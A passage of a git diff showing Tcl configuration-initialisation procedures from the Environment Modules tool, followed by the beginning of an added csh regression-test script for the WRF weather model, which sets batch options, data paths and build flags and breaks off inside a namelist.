+   return [expr {[getState is_win] ? {;} : {:}}]
+}
+
+# Detect if terminal is attached to stderr message channel
+proc initStateIsStderrTty {} {
+   return [expr {![catch {fconfigure stderr -mode}]}]
+}
+
+# Determine if pagination need to be started
+proc initStatePaginate {} {
+   set pager [getConf pager]
+   # empty or 'cat' pager command means no-pager
+   set no_cmds [list {} cat]
+   # default pager enablement depends on pager command value
+   set paginate [expr {[file tail [lindex $pager 0]] ni $no_cmds}]
+
+   # asked enablement could only nullify a previous asked disablement as it
+   # requires a valid pager command configuration, which by default enables
+   # pagination; some module command may also turn off pager; also if error
+   # stream is not attached to a terminal
+   set no_subcmds [list clear edit]
+   if {$paginate && (([info exists ::asked_paginate] && !$::asked_paginate)\
+      || [getState subcmd] in $no_subcmds || ([getState subcmd] eq {ml} &&\
+      [lindex [getState subcmd_args] 0] in $no_subcmds) || ![getState\
+      is_stderr_tty])} {
+      set paginate 0
+   }
+
+   return $paginate
+}
+
+# start pager pipe process with defined configuration
+proc initStateReportfd {} {
+   # get default value
+   lassign $::g_state_defs(reportfd) reportfd
+
+   # start pager at first call and only if enabled
+   if {[getState paginate]} {
+      if {[catch {
+         set reportfd [open "|[getConf pager] >@stderr 2>@stderr" w]
+         fconfigure $reportfd -buffering line -blocking 1 -buffersize 65536
+      } errMsg]} {
+         # silently set reportfd to its fallback value to process warn msg
+         set ::g_states(reportfd) $reportfd
+         reportWarning $errMsg
+      }
+   }
+
+   # startup content in case of structured output format (puts here rather
+   # calling report proc to avoid infinite reportfd init loop
+   if {[isStateEqual report_format json]} {
+      puts -nonewline $reportfd \{
+   }
+
+   return $reportfd
+}
+
+# Provide columns number for output formatting
+proc initStateTermColumns {} {
+   set cols [getConf term_width]
+   if {$cols == 0} {
+      # determine col number from tty capabilites
+      # tty info query depends on running OS
+      switch -- $::tcl_platform(os) {
+         SunOS {
+            catch {regexp {columns = (\d+);} [exec stty] match cols} errMsg
+         }
+         {Windows NT} {
+            catch {regexp {Columns:\s+(\d+)} [exec mode] match cols} errMsg
+         }
+         default {
+            catch {set cols [lindex [exec stty size] 1]} errMsg
+         }
+      }
+      # default size if tty cols cannot be found
+      set cols [expr {![info exists cols] || $cols eq {0} ? 80 : $cols}]
+   }
+   return $cols
+}
+
+# Get all groups of user running modulecmd.tcl process
+proc __initStateUsergroups {} {
+   # ensure groups including space in their name (found on Cygwin/MSYS
+   # platforms) are correctly set as list element
+   if {[catch {
+      return [split [string range [runCommand id -G -n -z] 0 end-1] \0]
+   } errMsg]} {
+      # fallback if '-z' option is not supported
+      return [runCommand id -G -n]
+   }
+}
+
+# Get name of user running modulecmd.tcl process
+proc __initStateUsername {} {
+   return [runCommand id -u -n]
+}
+
+# Get Epoch time (number of seconds elapsed since Unix epoch)
+proc __initStateClockSeconds {} {
+   return [clock seconds]
+}
+
+# Know if Tcl version is below 8.5.0
+proc initStateTclVersionLt85 {} {
+   return [expr {[versioncmp [getState tcl_version] 8.5.0] == -1}]
+}
+
+# Initialize Select Graphic Rendition table
+proc initConfColors {envvar value validvallist intvallist} {
+   # overridden value coming from environment
+   if {[info exists ::env($envvar)]} {
+      set colors_list $::env($envvar)
+      if {[catch {
+         # test overridden value could be set to a dummy array variable
+         array set test_colors [split $colors_list {:=}]
+      } errMsg ]} {
+         # report issue as a debug message rather warning to avoid
+         # disturbing user with a warning message in the middle of a
+         # useful output as this table will be initialized at first use
+         reportDebug "Ignore invalid value set in $envvar ($colors_list)"
+         unset colors_list
+      }
+   }
+
+   # if no valid override set use default color theme for terminal
+   # background color kind (light or dark)
+   if {![info exists colors_list]} {
+      if {[getConf term_background] eq {light}} {
+         set colors_list {@lightbgcolors@}
+      } else {
+         set colors_list {@darkbgcolors@}
+      }
+      if {[catch {
+         array set test_colors [split $colors_list {:=}]
+      } errMsg ]} {
+         reportDebug "Ignore invalid default [getConf term_background]\
+            background colors ($colors_list)"
+         # define an empty list if no valid value set
+         set colors_list {}
+      }
+   }
+
+   # check each color defined and unset invalid codes
+   set value {}
+   foreach {elt col} [split $colors_list {:=}] {
+      if {![regexp {^[\d;]+$} $col]} {
+         reportDebug "Ignore invalid color code for '$elt' ($col)"
+      } else {
+         lappend value $elt=$col
+      }
+   }
+   set value [join $value :]
+
+   # set SGR table as an array to easily access rendition for each key
+   array unset ::g_colors
+   array set ::g_colors [split $value {:=}]
+
+   return $value
+}
+
+# Initialize color configuration value
+proc initConfColor {envvar value validvallist intvallist} {
+   # overridden value coming from environment via standard variable
+   # https://no-color.org/ and https://bixense.com/clicolors/
+   if {[info exists ::env(NO_COLOR)]} {
+      set value never
+   } elseif {[info exists ::env(CLICOLOR)]} {
+      if {$::env(CLICOLOR) eq {0}} {
+         set value never
+      } else {
+         set value auto
+      }
+   } elseif {[info exists ::env(CLICOLOR_FORCE)] && $::env(CLICOLOR_FORCE)\
+      ne {0}} {
+      set value always
+   }
+
+   # overridden value coming from environment via Modules-specific variable
+   if {$envvar ne {} && [info exists ::env($envvar)]} {
+      # ignore non-valid values
+      if {[llength $validvallist] == 0 || $::env($envvar) in $validvallist} {
+         set value $::env($envvar)
+      }
+   }
+
+   # overridden value coming the command-line
+   if {[info exists ::asked_color]} {
+      set value [set ::asked_color]
+   }
+
+   # convert value to its internal representation
+   if {[llength $intvallist] > 0} {
+      set value [lindex $intvallist [lsearch -exact $validvallist $value]]
+   }
+
+   # disable color mode if no terminal attached except if 'always' asked
+   if {$value != 0 && (![getState is_stderr_tty] || $value == 2)} {
+      incr value -1
+   }
+
+   # initialize color theme if color mode enabled
+   getConf colors
+
+   return $value
+}
+
+# Initialize tcl_ext_lib configuration value
+proc initConfTclExtLib {envvar value validvallist intvallist} {
+   set libfile libtclenvmodules@SHLIB_SUFFIX@
+
+   # determine lib directory
+   @notmultilibsupport@set libdir @libdir@
+   @multilibsupport@switch -- [getState machine] {
+   @multilibsupport@   x86_64 - aarch64 - ppc64le - s390x {
+   @multilibsupport@      set libdirmain @libdir64@
+   @multilibsupport@      set libdiralt @libdir32@
+   @multilibsupport@   }
+   @multilibsupport@   default {
+   @multilibsupport@      set libdirmain @libdir32@
+   @multilibsupport@      set libdiralt @libdir64@
+   @multilibsupport@   }
+   @multilibsupport@}
+   @multilibsupport@# use alternative arch lib if available and not main one
+   @multilibsupport@if {![file exists [file join $libdirmain $libfile]] && [file exists [file\
+   @multilibsupport@   join $libdiralt $libfile]]} {
+   @multilibsupport@   set libdir $libdiralt
+   @multilibsupport@} else {
+   @multilibsupport@   set libdir $libdirmain
+   @multilibsupport@}
+
+   return [file join $libdir $libfile]
+}
+
+# Initialize module tag abbreviation table
+proc initConfTagAbbrev {envvar value validvallist intvallist} {
+   # overridden value coming from environment
+   if {[info exists ::env($envvar)]} {
+      if {[catch {
+         # try to set the tag-abbreviation mapping table
+         array set ::g_tagAbbrev [split $::env($envvar) {:=}]
+         set value $::env($envvar)
+      } errMsg ]} {
+         reportWarning "Ignore invalid value set in $envvar ($::env($envvar))"
+         array unset ::g_tagAbbrev
+      }
+   }
+
+   # test default value
+   if {![array exists ::g_tagAbbrev]} {
+      if {[catch {
+         array set ::g_tagAbbrev [split $value {:=}]
+      } errMsg ]} {
+         reportWarning "Ignore invalid default value for 'tag_abbrev' config\
+            ($value)"
+         array unset ::g_tagAbbrev
+         # define an empty list if no valid value set
+         set value {}
+      }
+   }
+
+   # build abbrev:tagname array
+   foreach {tag abbrev} [array get ::g_tagAbbrev] {
+      # skip tags not relevant for current command, that share their
+      # abbreviation with another tag
+      switch -- $tag {
+         hidden-loaded {
+            set setabbrevtag [expr {[currentState commandname] eq {list}}]
+         }
+         hidden {
+            set setabbrevtag [expr {[currentState commandname] eq {avail}}]
+         }
+         default {
+            set setabbrevtag 1
+         }
+      }
+      if {$setabbrevtag} {
+         set ::g_abbrevTag($abbrev) $tag
+      }
+   }
+
+   return $value
+}
+
+# Initialize module tag color name table
+proc initConfTagColorName {envvar value validvallist intvallist} {
+   # overridden value coming from environment
+   if {[info exists ::env($envvar)]} {
+      set value $::env($envvar)
+   }
+
+   # set table for efficient search
+   foreach tag [split $value :] {
+      set ::g_tagColorName($tag) 1
+   }
+
+   return $value
+}
+
+# Initialize interactive editor command
+proc initConfEditor {envvar value validvallist intvallist} {
+   # overridden value coming from environment via Modules-specific variable
+   if {$envvar ne {} && [info exists ::env($envvar)]} {
+      set value $::env($envvar)
+   # overridden value coming from environment via standard variable
+   } elseif {[info exists ::env(VISUAL)]} {
+      set value $::env(VISUAL)
+   } elseif {[info exists ::env(EDITOR)]} {
+      set value $::env(EDITOR)
+   }
+   return $value
+}
+
+# Initialize variant shortcut table
+proc initConfVariantShortcut {envvar value validvallist intvallist} {
+   # overridden value coming from environment
+   if {[info exists ::env($envvar)]} {
+      if {[catch {
+         # try to set the variant-shortcut mapping table
+         array set testarr [split $::env($envvar) {:=}]
+         set value $::env($envvar)
+         set setfromenv 1
+      } errMsg ]} {
+         reportWarning "Ignore invalid value set in $envvar ($::env($envvar))"
+      }
+   }
+
+   # test default value
+   if {![info exists setfromenv]} {
+      if {[catch {
+         array set testarr [split $value {:=}]
+      } errMsg ]} {
+         reportWarning "Ignore invalid default value for 'variant_shortcut'\
+            config ($value)"
+         # define an empty list if no valid value set
+         set value {}
+      }
+   }
+
+   # ignore shortcut if not equal to one character or if set on alphanum char
+   # or on char with special meaning
+   foreach {vr sc} [split $value {:=}] {
+      if {[string length $sc] == 1 && ![string match {[a-zA-Z0-9+~/@=-]}\
+         $sc]} {
+         # remove duplicate shortcut or variant definition
+         if {[info exists ::g_variantShortcut($vr)]} {
+            unset ::g_shortcutVariant($::g_variantShortcut($vr))
+         }
+         if {[info exists ::g_shortcutVariant($sc)]} {
+            unset ::g_variantShortcut($::g_shortcutVariant($sc))
+         }
+         set ::g_variantShortcut($vr) $sc
+         set ::g_shortcutVariant($sc) $vr
+      }
+   }
+
+   # update value after above filtering step
+   set value {}
+   foreach vr [array names ::g_variantShortcut] {
+      if {[string length $value] > 0} {
+         append value :
+      }
+      append value $vr=$::g_variantShortcut($vr)
+   }
+
+   return $value
+}
+
+# Is currently set verbosity level is equal or higher than level passed as arg
+proc isVerbosityLevel {name} {
+   return [expr {[lsearch -exact [lindex $::g_config_defs(verbosity) 3]\
+      [getConf verbosity]] >= [lsearch -exact [lindex\
+      $::g_config_defs(verbosity) 3] $name]}]
+}
+
+# Is match performed in a case sensitive or insensitive manner
+proc isIcase {} {
+   # depending on current sub-command, list values that equal to a case
+   # insensitive match enablement
+   lappend enabledValList always
+   if {[currentState commandname] in [list avail whatis search paths]} {
+      lappend enabledValList search
+   }
+   return [expr {[getConf icase] in $enabledValList}]
+}
+
+# ;;; Local Variables: ***
+# ;;; mode:tcl ***
+# ;;; End: ***
+# vim:set tabstop=3 shiftwidth=3 expandtab autoindent:
diff --git a/samples/Tcsh/regtest_nmmnest.csh b/samples/Tcsh/regtest_nmmnest.csh
new file mode 100644
index 0000000000..7a0178c11f
--- /dev/null
+++ b/samples/Tcsh/regtest_nmmnest.csh
@@ -0,0 +1,3584 @@
+#!/bin/csh
+
+# #BSUB -x                                # exlusive use of node (not_shared)
+# #BSUB -a mpich_gm                       # at NCAR: lightning
+# #BSUB -R "span[ptile=2]"                # how many tasks per node (1 or 2)
+#BSUB -a poe                            # at NCAR: bluevista
+#BSUB -R "span[ptile=4]"                # how many tasks per node (up to 8)
+#BSUB -n 4                              # number of total tasks
+#BSUB -o reg.out                        # output filename (%J to add job id)
+#BSUB -e reg.err                        # error filename
+#BSUB -J regtest                        # job name
+#BSUB -q share                          # queue
+#BSUB -W 12:00                          # wallclock time
+##BSUB -P 48500053
+#BSUB -P 64000400
+
+# QSUB -q ded_4             # submit to 4 proc
+# QSUB -l mpp_p=4           # request 4 processors
+# QSUB -lT  21600           # max. job time limit is 6 h
+# QSUB -lF 250Mw            # max. job file size limit is 250 Megawords
+# QSUB -eo                  # merge error and output into one file
+# QSUB -o  reg.out          # output file name
+# QSUB                      # there are no further QSUB commands
+
+#	This is a script to test the bit-for-bit reproducibility of
+#	the WRF model, when comparing single processor serial runs to
+#	OpenMP and MPI parallel runs.  There are several regression tests
+#	that are performed.  Failed comparisons get reported, but don't
+#	stop the script.  Failed builds or forecasts force an exit from 
+#	the script.
+
+#	Approximate time for completion of full test suite
+#		Compaq 733 MHz   ev67 :  2.5 hours (empty)
+#		Intel  1.2 GHz (4-pe) :  3.0 hours (empty)
+#		IBM            P4     :  2.0 hours (empty)
+
+setenv HWRF 0
+#	Do we keep running even when there are BAD failures?
+
+set KEEP_ON_RUNNING = FALSE
+set KEEP_ON_RUNNING = TRUE
+
+#	These need to be changed for your particular set of runs.  This is
+#	where email gets sent.
+
+if ( ( `uname` == AIX ) && ( ( `hostname | cut -c 1-2` != bs ) && \
+                             ( `hostname | cut -c 1-2` != bv ) && ( `hostname | cut -c 1-2` != be ) ) ) then
+	set FAIL_MAIL = ( ${user}@noaa.gov )
+	set GOOD_MAIL = ( ${user}@noaa.gov )
+
+	setenv MP_EAGER_LIMIT 65536
+	setenv MP_SHARED_MEMORY yes
+	setenv MP_SINGLE_THREAD yes
+	setenv MP_LABELIO yes
+	setenv MP_STDOUTMODE ordered
+
+	setenv OMP_NUM_THREADS 4
+	setenv XLSMPOPTS "parthds=4:spins=0:yields=0:stack=128000000:schedule=static"
+	setenv AIXTHREAD_SCOPE S
+	setenv AIXTHREAD_MNRATIO 1:1
+	setenv SPINLOOPTIME 1000
+	setenv YIELDLOOPTIME 1000
+else
+	set FAIL_MAIL = ( ${user}@ucar.edu )
+	set GOOD_MAIL = ( ${user}@ucar.edu )
+endif
+
+unalias cd cp rm ls pushd popd mv
+if ( ( `uname` == Linux ) || ( `uname` == Darwin ) ) alias banner echo
+
+#	Get the command line input
+
+set thedate = -999
+set thefile = "null"
+set thedata = "null"
+set clrm = 0          # compile local run mmmtmp, for using clsroom cluster and local disk
+
+#	If this is a batch job (NCAR's IBMs or FSL's Intel and Alpha), we need to muck with the "input"
+#	parameters a bit.
+
+if      ( ( `uname` == AIX ) || ( `hostname` == tempest ) || ( `hostname | cut -c 1-2` == ln ) ) then
+	set argv = ( -here )
+	set argv = ( -ftp )
+        set argv = ( -D today )
+	set argv = ( -env )
+	set WRFREGFILE = /mmm/users/gill/wrf.tar
+	if ( ( `uname` == AIX ) && ( ( `hostname | cut -c 1-2` != bs ) && \
+	                             ( `hostname | cut -c 1-2` != bv ) && ( `hostname | cut -c 1-2` != be ) ) ) then
+		set argv = ( -f /nbns/meso/wx22tb/regression_tests/wrf.tar )
+	else
+		set argv = ( -f wrf.tar )
+	endif
+endif
+
+#	Where is the input data located - for a few known NCAR/MMM machines.
+
+if      ( ( `hostname` == master ) || (`hostname | cut -c 1-4` == node ) ) then
+	set WRFREGDATAEM = /big/users/gill/WRF-data-EM
+	set WRFREGDATANMM = /big/users/gill/WRF-data-NMM
+else if   ( `hostname` == jacaranda ) then
+	set WRFREGDATAEM = /jacaranda/users/gill/WRF-data-EM
+	set WRFREGDATANMM = /jacaranda/users/gill/WRF-data-NMM
+else if   ( `hostname` == stink ) then
+	set WRFREGDATAEM = /stink/gill/Regression_Tests/WRF_regression_data/processed
+	set WRFREGDATANMM = /stink/gill/Regression_Tests/WRF_regression_data/WRF-data-NMM
+else if   ( `hostname` == cape ) then
+	set WRFREGDATAEM = /cape/users/michalak/WRF-data-EM
+	set WRFREGDATANMM = /cape/users/michalak/WRF-data-NMM
+else if ( (`hostname | cut -c 1-6` == joshua ) || \
+          ( `hostname` == maple ) || (`hostname | cut -c 1-7` == service ) ) then
+	set WRFREGDATAEM = /users/gill/WRF-data-EM
+	set WRFREGDATANMM = /users/gill/WRF-data-NMM
+else if ( ( `hostname | cut -c 1-2` == bs ) || ( `hostname` == tempest ) || ( `hostname | cut -c 1-2` == ln ) || \
+          ( `hostname | cut -c 1-2` == bv ) || ( `hostname | cut -c 1-2` == be ) ) then
+	set WRFREGDATAEM = /mmm/users/gill/WRF-data-EM
+	set WRFREGDATAEM = /mmm/users/gill/WRF_regression_data/processed
+	set WRFREGDATANMM = /glade/proj2/ral/RJNTB/dtc//WRF-data-NMM
+else if ( ( `uname` == AIX ) && ( ( `hostname | cut -c 1-2` != bs ) && \
+                                  ( `hostname | cut -c 1-2` != bv ) && ( `hostname | cut -c 1-2` != be ) ) ) then
+	set WRFREGDATAEM = /nbns/meso/wx22tb/regression_tests/WRF-data-EM
+	set WRFREGDATANMM = /nbns/meso/wx22tb/regression_tests/WRF-data-NMM
+else
+	if      ( ( -d /users/gill/WRF-data-EM ) && ( -d /users/gill/WRF-data-NMM ) ) then
+		set WRFREGDATAEM = /users/gill/WRF-data-EM
+		set WRFREGDATANMM = /users/gill/WRF-data-NMM
+	else if ( ( -d /mmm/users/gill/WRF-data-EM ) && ( -d /mmm/users/gill/WRF-data-NMM ) ) then
+		set WRFREGDATAEM = /mmm/users/gill/WRF-data-EM
+		set WRFREGDATANMM = /glade/proj2/ral/RJNTB/dtc//WRF-data-NMM
+	else
+		echo "stick the WRF em and nmm data somewhere, and then fill in the shell vars"
+		echo "inside this script, you NEED WRFREGDATAEM and WRFREGDATANMM set"
+		exit ( 1 ) 
+	endif
+endif
+#DAVE###################################################
+echo DAVE em data is located at $WRFREGDATAEM
+ls -ls $WRFREGDATAEM
+echo DAVE nmm data is located at $WRFREGDATANMM
+ls -ls $WRFREGDATANMM
+banner 1
+#set ans = "$<"
+#DAVE###################################################
+
+if ( $#argv == 0 ) then
+	echo "Please enter either a date for cvs checkout. ex regtest.csh -D date"
+	echo " or a file name containing WRF. ex regtest.csh -f tarfile"
+	echo " or the -ftp flag for the script to pick code off anon ftp"
+	exit ( 2 ) 
+endif
+
+set theargs = 0
+foreach a ( $argv )
+	if ( "$a" == "-D" ) then
+
+		rsh -n maple.mmm.ucar.edu w >& /dev/null
+		if ( $status ) then
+			echo "Cannot execute a remote shell on maple.mmm.ucar.edu, where the"
+			echo "WRF code resides."
+			echo "Please check that it is up and that you have permission to rsh"
+			echo "to this host. (Create a .rhosts file)."
+			ping -c 1 maple.mmm.ucar.edu
+			exit 2
+		endif
+		setenv CVSROOT maple.mmm.ucar.edu:/data3/mp/wrfhelp/WRF
+		
+		set acquire_from = "cvs"
+		set thedate = $argv[2]
+
+	endif
+
+	if ( "$a" == "-f" ) then
+
+		set thefile = $argv[2]
+		#	Check for absolute path, if not, make it absolute
+		echo $thefile | grep '^/' > /dev/null
+		if ( $status != 0 ) set thefile = `pwd`/$thefile
+		set acquire_from = "filearg"
+
+	endif
+
+	if ( "$a" == "-ftp" ) then
+		set acquire_from = "ftp"
+echo "anon ftp temporarily disabled"
+exit ( 3 )
+	endif
+
+	if ( "$a" == "-here" ) then
+		set acquire_from = "here"
+	endif
+
+	if ( "$a" == "-env" ) then
+		set acquire_from = "environment"
+		set thefile = $WRFREGFILE
+	endif
+end
+
+#	Start recording everything - for debug purposes.
+
+set echo 
+set date
+
+#	And to tell us how long we've spent on this whole regression test,
+#	we should remember when we started.
+
+set start = ( `date` )
+
+#####################################################################
+
+#	Initial set up values
+
+#	Is this a single domain regression test or is this nested.  Well, a nested one
+#	is a bit special.  It can only run on machines that have the WRF RSL_LITE-but-no-MPI
+#	option available.
+
+set NESTED = TRUE
+set NESTED = FALSE
+
+if ( $NESTED == TRUE ) then
+	echo DOING a NESTED TEST
+endif
+
+#	Use the adaptive time step option
+
+set ADAPTIVE = TRUE
+set ADAPTIVE = FALSE
+
+if ( $ADAPTIVE == TRUE ) then
+	set STEP_TO_OUTPUT_TIME    = .TRUE.
+	set USE_ADAPTIVE_TIME_STEP = .TRUE.
+else
+	set STEP_TO_OUTPUT_TIME    = .FALSE.
+	set USE_ADAPTIVE_TIME_STEP = .FALSE.
+endif
+
+#	We can choose to do grid and obs nudging tests.
+
+set FDDA = TRUE
+set FDDA = FALSE
+
+set FDDA2 = TRUE
+set FDDA2 = FALSE
+
+if ( $FDDA2 == TRUE ) then
+	set FDDA = TRUE
+endif
+
+#	The default floating point precision is either 4 bytes or 8 bytes.
+#	We assume that it is 4 (or the default for the architecture) unless 
+#	REAL8 is set to TRUE.
+
+set REAL8 = TRUE
+set REAL8 = FALSE
+
+#	Are we shooting for a bit-for-bit run (serial vs OpenMP, serial vs MPI), or not?
+#	If you want to do a performance-only run, the forecasts are still short, but you
+#	get to insure that the optimized code builds and runs.
+
+set REG_TYPE = OPTIMIZED
+set REG_TYPE = BIT4BIT
+
+#	For a Mac/Intel, we can run either g95 or PGI.
+
+if ( `uname` == Darwin ) then
+	set LINUX_COMP = G95
+	set LINUX_COMP = PGI
+endif
+
+#	We can choose to do a global test
+
+if ( $NESTED != TRUE ) then
+	set GLOBAL = TRUE
+	set GLOBAL = FALSE
+else if ( $NESTED == TRUE ) then
+	set GLOBAL = FALSE
+endif
+
+#	Is this a WRF chem test?  
+#	if CHEM = TRUE, then chemistry run
+#	if KPP = TRUE, then chemistry with KPP run (CHEM set to true)
+
+if ( $NESTED != TRUE ) then
+	set KPP = TRUE
+	set KPP = FALSE
+	set CHEM = TRUE
+	set CHEM = FALSE
+	if ( $KPP == TRUE ) then
+		set CHEM = TRUE
+	endif
+else if ( $NESTED == TRUE ) then
+	set CHEM = FALSE
+	set KPP  = FALSE
+endif
+if ( $CHEM == TRUE ) then
+	setenv WRF_CHEM 1
+else if ( $CHEM == FALSE ) then
+	setenv WRF_CHEM 0 
+endif
+if ( $KPP == TRUE ) then
+	setenv WRF_KPP 1
+	setenv FLEX_LIB_DIR /usr/local/lib
+	set CHEM_OPT = 104
+else if ( $KPP == FALSE ) then
+	setenv WRF_KPP 0 
+	setenv FLEX_LIB_DIR
+	set CHEM_OPT =
+endif
+
+#	For the real data case, we can run either one of two data cases.  If this is
+#	a chemistry run, we are forced to use that data.
+
+set dataset = jun01
+set dataset = jan00
+if ( $CHEM == TRUE ) then
+	set dataset = chem
+endif
+if ( $GLOBAL == TRUE ) then
+	set dataset = global
+endif
+
+#	Yet another local variable to change the name of where the data is located.
+
+set thedataem = ${WRFREGDATAEM}/${dataset}
+set thedatanmm = $WRFREGDATANMM
+
+#	A separately installed version of the latest ESMF library (NOT the 
+#	ESMF library included in the WRF tarfile) can be tested by setting 
+#	"ESMF_LIB" to "TRUE" below.  This test is not supported on all 
+#	machines.  
+
+set ESMF_LIB = TRUE
+set ESMF_LIB = FALSE
+
+# serial and OMP are not tested with ESMF so always start with env vars cleared
+unsetenv ESMFLIB
+unsetenv ESMFINC
+
+if ( $ESMF_LIB == TRUE ) then
+	if      ( ( `uname` == AIX ) && ( ( `hostname | cut -c 1-2` == bv ) || ( `hostname | cut -c 1-2` == be ) ) ) then
+		echo "A separately installed version of the latest ESMF library"
+		echo "(NOT the ESMF library included in the WRF tarfile) will"
+		echo "be used for MPI tests"
+		setenv OBJECT_MODE 64
+#	set ESMFLIBSAVE = /home/bluevista/hender/esmf/esmf_2_2_2r/lib/libO/AIX.default.64.mpi.default
+#	set ESMFINCSAVE = /home/bluevista/hender/esmf/esmf_2_2_2r/mod/modO/AIX.default.64.mpi.default
+		setenv ESMF_DIR /mmm/users/michalak/esmf
+		setenv ESMF_BOPT g
+		setenv ESMF_ABI 64
+		setenv ESMF_INSTALL_PREFIX $ESMF_DIR/../esmf_install
+		setenv ESMFLIB $ESMF_INSTALL_PREFIX/lib/libg/AIX.default.64.mpi.default
+		setenv ESMFINC $ESMF_INSTALL_PREFIX/mod/modg/AIX.default.64.mpi.default
+		set ESMFLIBSAVE = $ESMFLIB
+		set ESMFINCSAVE = $ESMFINC
+		echo "Using ESMFLIB = ${ESMFLIBSAVE}"
+		echo "Using ESMFINC = ${ESMFINCSAVE}"
+	else
+		echo "Only the ESMF library included in the WRF tarfile is"
+		echo "tested on this machine"
+		exit ( 3 ) 
+	endif
+	if ( $NESTED == TRUE ) then
+		echo "The ESMF library does not work with nesting."
+		exit ( 3 ) 
+	endif
+endif
+
+#	A single WRF output "quilt" server can be tested by setting "QUILT"  to 
+#       "TRUE" below.  At the moment, testing of I/O quilt servers is not supported 
+#       on all machines.  
+
+set QUILT = TRUE
+set QUILT = FALSE
+
+if ( $QUILT == TRUE ) then
+	echo "One WRF output quilt server will be used for some tests"
+endif
+
+#	Baseline data sets can be generated and archived or compared against.  
+#       - To generate and archive, set GENERATE_BASELINE to a pathname that can 
+#         be created by this script via "mkdir -p $GENERATE_BASELINE".  This 
+#         directory must not already exist.  
+#         Set GENERATE_BASELINE = FALSE to avoid baseline generation.  
+#       - To compare with a previously archived baseline, set COMPARE_BASELINE 
+#         to an existing directory that contains an archived baseline.  
+#         Set COMPARE_BASELINE = FALSE to avoid baseline comparison.  
+set GENERATE_BASELINE = FALSE
+set COMPARE_BASELINE = FALSE
+
+#	Baseline generation and comparison are only done when BIT4BIT is set.  
+if ( $GENERATE_BASELINE != FALSE ) then
+	if ( $REG_TYPE != BIT4BIT ) then
+		echo "ERROR:  Baseline generation can only be done during BIT4BIT tests."
+		exit ( 3 ) 
+	endif
+	if ( -d $GENERATE_BASELINE ) then
+		echo "ERROR:  Baseline directory ${GENERATE_BASELINE} already exists."
+		exit ( 3 ) 
+	else
+		# Archive serial output file to baseline
+		mkdir -p $GENERATE_BASELINE || ( echo "ERROR:  cannot mkdir ${GENERATE_BASELINE}"; exit 3 )
+	endif
+endif
+if ( $COMPARE_BASELINE != FALSE ) then
+	if ( $REG_TYPE != BIT4BIT ) then
+		echo "Baseline comparison can only be done during BIT4BIT tests."
+		exit ( 3 ) 
+	endif
+	if ( ! -d $COMPARE_BASELINE ) then
+		echo "${0}: ERROR:  Baseline directory ${COMPARE_BASELINE} does not exist"
+		exit ( 3 ) 
+	endif
+endif
+
+#	Set the input/output format type (currently 1, 2 or 5 OK).
+#	Binary		NetCDF				PHDF, IBM	GriB, history only
+#	1		2		3		4		5
+
+set IO_FORM = 2
+set IO_FORM_NAME = ( io_bin io_netcdf io_dummy io_phdf5 io_grib1 )
+set IO_FORM_WHICH =( IO     IO        IO       IO       O        )
+
+#	There is a breakdown of cores to test depending on the various
+#	options that the user is testing.
+#	nested: cannot test NMM
+#	rsl_lite: cannot test anything with y periodic bc
+#	chem: em_real only
+#	esmf_lib: cannot test NMM
+#	grib output: cannot test NMM
+
+if      ( $NESTED == TRUE ) then
+	set CORES = ( em_real em_b_wave em_quarter_ss          )
+else if ( $NESTED != TRUE ) then
+	set CORES = ( em_real em_b_wave em_quarter_ss nmm_real )
+	set CORES = (                                 nmm_real )
+	if ( $CHEM == TRUE ) then
+		set CORES = ( em_real em_real )
+	endif
+	if ( $GLOBAL == TRUE ) then
+		set CORES = ( em_real )
+	endif
+	if ( $ADAPTIVE == TRUE ) then
+		set CORES = ( em_real )
+	endif
+	if ( $ESMF_LIB == TRUE ) then
+		set CORES = ( em_real em_b_wave em_quarter_ss )
+	endif
+	if ( $IO_FORM_NAME[$IO_FORM] == io_grib1 ) then
+		set CORES = ( em_real em_b_wave em_quarter_ss )
+	endif
+	if ( $FDDA == TRUE ) then
+		set CORES = ( em_real )
+	endif
+endif
+
+#	The b_wave case has binary input (4-byte only), the nmm
+#	core has raw MPI calls, skip them if we are doing real*8 floats.
+
+if      ( $REAL8 == TRUE ) then
+	set CORES = ( em_real em_quarter_ss )
+endif
+
+if      ( ( $CHEM != TRUE ) && ( $FDDA != TRUE ) &&   ( $NESTED != TRUE ) && ( $REAL8 != TRUE ) && ( $GLOBAL != TRUE )   ) then
+	set PHYSOPTS =	( 1 2 3 4 5 6 7 )
+else if ( ( $CHEM != TRUE ) && ( $FDDA != TRUE ) && ( ( $NESTED == TRUE ) || ( $REAL8 == TRUE ) || ( $GLOBAL == TRUE ) ) ) then
+	set PHYSOPTS =	( 1 2 3 4 5 6 )
+else if ( ( $CHEM != TRUE ) && ( $FDDA == TRUE ) ) then
+	if ( $FDDA2 == TRUE ) then
+		set PHYSOPTS_FDDA = BOTH
+	else
+		set PHYSOPTS_FDDA = GRID
+	endif
+	if ( $PHYSOPTS_FDDA == GRID ) then
+		set PHYSOPTS =	( 1 )
+	else
+		set PHYSOPTS =	( 1 2 3 )
+	endif
+else if ( $CHEM == TRUE ) then
+	set PHYSOPTS =	( 1 2 3 4 5 6 )
+endif
+
+##LPC
+##LPC --- run just nmm test
+##LPC
+set CORES = (nmm_real)
+
+#	This is selecting the ideal physics options - mostly selecting BC options.
+#	With no nesting, run all three ideal physics options.
+
+if      ( $NESTED == TRUE ) then
+	set Max_Ideal_Physics_Options = 2
+else if ( $NESTED != TRUE ) then
+	set Max_Ideal_Physics_Options = 3
+endif
+
+set CUR_DIR = `pwd`
+
+#	How many domains to run (nest tests).  Only em_real and ideals use this.
+#	The max is 3 due to the number of columns in the namelist that are 
+#	currently filled in.
+
+if      ( $NESTED == TRUE ) then
+if      ( $dataset == jan00 ) then
+cat >! dom_real << EOF
+ time_step                           = 180,
+ time_step_fract_num                 = 0,
+ time_step_fract_den                 = 1,
+ max_dom                             = 2,
+ s_we                                = 1,     1,     1,
+ e_we                                = 74,    31,    31,
+ s_sn                                = 1,     1,     1,
+ e_sn                                = 61,    31,    31,
+ s_vert                              = 1,     1,     1,
+ e_vert                              = 28,    28,    28,
+ dx                                  = 30000, 10000,  3333.333333,
+ dy                                  = 30000, 10000,  3333.333333,
+ grid_id                             = 1,     2,     3,
+ parent_id                           = 0,     1,     2,
+ i_parent_start                      = 0,     31,    11,
+ j_parent_start                      = 0,     17,    11,
+ parent_grid_ratio                   = 1,     3,     3,
+ parent_time_step_ratio              = 1,     3,     3,
+ feedback                            = 1,
+ smooth_option                       = 0
+ num_moves                           = 3
+ move_id                             = 2 , 2 , 2
+ move_interval                       = 3 , 6 , 9
+ move_cd_x                           = 1 , 1 , 1
+ move_cd_y                           = 1 , 1 , 1
